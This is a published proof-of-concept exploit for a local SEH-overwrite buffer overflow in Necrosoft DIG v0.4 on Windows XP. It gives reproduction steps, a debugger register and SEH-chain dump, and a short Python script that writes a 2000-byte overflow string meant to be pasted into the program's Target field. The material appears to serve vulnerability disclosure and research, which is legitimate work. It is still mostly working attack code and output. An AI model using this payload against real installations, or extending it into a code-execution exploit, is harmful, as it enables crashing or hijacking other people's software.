Necrosoft DIG version 0.4 denial of service SEH overwrite proof of concept exploit.
31a32a06eac7e6728d0a318e795237ec# Exploit Title: Necrosoft DIG v0.4 - Denial of Service (PoC) SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2005-01-10
# Vendor Homepage: http://www.nscan.org/?index=dns
# Software Link : http://www.nscan.org/?index=dns
# Tested Version: 0.4
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
# Steps to Produce the Crash:
# 1.- Run Necrosoft DIG v0.4 (dig.exe)
# 2.- copy content DIG_Crash.txt to clipboard (result from this python script)
# 3.- Paste the content into the field: 'Target'
# 4.- Click 'TCP lookup' button and you will see a crash.
'''
SEH chain of thread 000003CC
Address SE handler
00D9FF08 43434343
42424242 *** CORRUPT ENTRY ***
EAX 0000000E
ECX 000004D2
EDX 000004E0
EBX 00000041
ESP 00D9FACC
EBP 0012FB60
ESI 00D9FB20
EDI 009284C5 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EIP 004036B2 DIG.004036B2
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 1 FS 003B 32bit 7FFDB000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
'''
#!/usr/bin/env python
junk = "\x41" * 985
crash = junk + "BBBB" + "CCCC" + "\x41" * (2000 - 985 - 4 - 4)
print "SEH overwritten Crash, full payload length =",len(crash)
f = open ("DIG_Crash.txt", "w")
f.write(crash)
f.close()